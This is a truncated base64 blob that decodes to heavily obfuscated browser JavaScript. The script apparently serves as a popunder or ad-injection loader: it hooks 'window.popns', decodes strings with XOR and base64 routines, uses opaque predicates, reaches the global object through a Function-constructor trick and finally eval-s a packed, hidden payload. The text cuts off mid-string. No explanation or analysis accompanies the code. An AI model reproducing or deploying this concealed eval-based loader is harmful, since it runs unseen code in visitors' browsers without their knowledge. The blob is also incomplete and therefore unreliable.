dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooMSkpKSxULlIoVC5CKCdceDMxXHgzMScsMCxULnooMCkpKSxULkkoKyIyIildO1QuZygyKTt0PVsrJ1x4MzJceDMwXHgzMVx4MzknLFQuQignXHUwMDM1JywxKSxULkgoJ1x4MzFceDM2JywwLFQuZygwKSldO3RyeXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yy5Mb2dnZXIubG9nKGksVC5SKCsnXHgzMScpLG4pO2MuTG9nZ2VyLmxvZyhpLFQuUigiNyItMCksdC5qb2luKFQuSSgnXHgzNCctMCkpKTt9LCsiNTAwIik7VC56KDEpO2Mub2JqZWN0PVtuLFsrIjM2MCIsNDk0LDM5MSwrIjMxMiIsVC5CKDAsIjMxMiIpLFQuSCgiMzY1IiwwLFQuZygwKSksKydceDM0XHgzMFx4MzQnLFQuSCgiMzAwIiwwLFQuZygwKSksKydceDMzXHgzNlx4MzBceDMwXHgzMScsVC5IKDAsJ1x4MzNceDM5XHgzNVx4MzJceDMyJyxULmcoMSkpLFQuQigiMTg3NzEiLDAsVC56KDApKSwrIjM0OTQ4IiwxNjU0MSwyOTU3MSwrJ1x4MzVceDMxXHgzN1x4MzFceDM5JywzMzkwOCxULkgoIjc4ODQwIiwwLFQuZygwKSksMTA1OTY0LCsnXHgzOFx4MzRceDM1XHgzNVx4MzUnLFQuSCgiNzI0MjYiLDAsVC5nKDApKSxULkgoJ1x4MzNceDMwXHgzNVx4MzlceDM5JywwLFQuZygwKSksVC5CKCdcdTAwMzRcdTAwMzFcdTAwMzZcdTAwMzJcdTAwMzYnLDAsVC5nKDApKSxULkIoMCwnXHUwMDM4XHUwMDM4XHUwMDMwXHUwMDM4XHUwMDM0JyxULnooMSkpLFQuSCgiNjU0MDkiLDEsVC5nKDIpKSwxNDQwMCxULkgoIjEyODQ0IiwxLFQueigyKSksKydceDM4XHgzNlx4MzBceDMyJyxULkgoJ1x4MzFceDMwXHgzOVx4MzJceDMwJywxLFQuZygyKSksMTM0MTYsVC5IKCdceDMyXHgzNFx4MzhceDMyXHgzMCcsMCxULmcoMCkpLFQuQignXHgzM1x4MzdceDM5XHgzN1x4MzYnLDAsVC56KDApKSwrJ1x4MzVceDMxXHg2NVx4MzMnXSx0LFtULkgoJ1x4MzNceDM2XHgzMicsMCxULmcoMCkpLDQ5NiwrJ1x4MzNceDM5XHgzOScsVC5IKDAsIjczMDkyMyIsVC5nKDEpKSwrJ1x1MDAzMlx1MDAzNVx1MDAzMVx1MDAzMicsVC5IKCI2Mzk4IiwwLFQueigwKSksVC5IKCdcdTAwMzRcdTAwMzFcdTAwMzFcdTAwMzlcdTAwMzFcdTAwMzJcdTAwMzInLDEsVC5nKDIpKSwrJ1x4MzFceDMxXHgzMVx4MzlceDMyJyxULkgoJ1x4MzNceDM0XHgzMlx4MzNceDM2JywwLFQueigwKSksMjQ2MSwzMjU1NywxMDIxMF0sby5jdXJyZW50U2NyaXB0LFQuSCgiMSIsMSxULmcoMikpXTt9Y2F0Y2gobyl7dm9pZCgnXHgzMCcqMSkhPT1lLmNvbnNvbGUmJmUuY29uc29sZS5sb2cmJkZ1bmN0aW9uLmFwcGx5LmNhbGwoZS5jb25zb2xlLmxvZyxlLmNvbnNvbGUsW1QuSSgnXHgzMVx4MzMnfDApXSk7fX0od2luZG93LGRvY3VtZW50LHdpbmRvd1t3aW5kb3cucG9wbnN8fGY1eXkuUigiMyItMCldKTt2YXIgXzB4MTM4Zj1bJ1x4NThceDQ4XHg2M1x4NzInLCdceDQ5XHg1NFx4NDVceDZmXHg2NFx4NDNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NmNceDUwXHg1NFx4NDVceDZmXHg1YVx4NTNceDZjXHgzN1x4NGZceDQzXHg0Mlx4NzVceDUwXHg1OFx4NTFceDc1XHg2Mlx4NzlceDY3XHg2OVx4NjJceDUzXHg0OVx4NzBceDRmXHg3YVx4NTlceDY3XHg2Mlx4NjlceDM0XHg3OVx4NGNceDZkXHg3N1x4MzlceDQ5XHg2ZFx4NzNceDY5XHg0Y1x4NDdceDM0XHg3NVx4NGRceDY5XHgzNVx4NzdceDUwXHg1NFx4NDFceDczXHg2Mlx4NjlceDM0XHg3OVx4NGNceDZlXHg0NVx4MzlceDRkXHg0M1x4NzhceDc1XHg0Y1x4NmFceDQ5XHg3NVx4NjRceDdhXHgzMFx4NjlceDYxXHg2OVx4NDlceDczXHg2Mlx4NjlceDM1XHgzMVx4NTBceDUzXHg0OVx4MzNceDRmXHg2OVx4MzhceDc2XHg2M1x4NjlceDM1XHgzNFx4NGNceDZhXHg1NVx4NzZceDYxXHg0M1x4MzlceDY4XHg0Y1x4NzlceDQ5XHg3Mlx4NWFceDUzXHg3OFx4MzBceDRjXHg2ZFx4NDlceDc1XHg2MVx4NTNceDY4XHg3NVx4NGJceDUzXHg3OFx4NzVceDY2XHg1M1x4NzhceDc1XHg1MFx4NTdceDRkXHg2Zlx4NWFceDc5XHg2N1x4NmZceDY0XHg0M1x4MzVceDZiXHg0Y1x4NmVceDU5XHg2Zlx4NTFceDY5XHg0Mlx4NGZceDRiXHg0M1x4NDlceDZmXHg0ZVx4N2FceDM5XHgzOFx4NTNceDY5XHgzMVx4MzVceDRiXHg1NFx4NzBceDYzXHg1OFx4NDNceDM5XHg2M1x4NThceDQzXHgzOFx4NjlceDRiXHg1M1x4NzdceDY5XHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg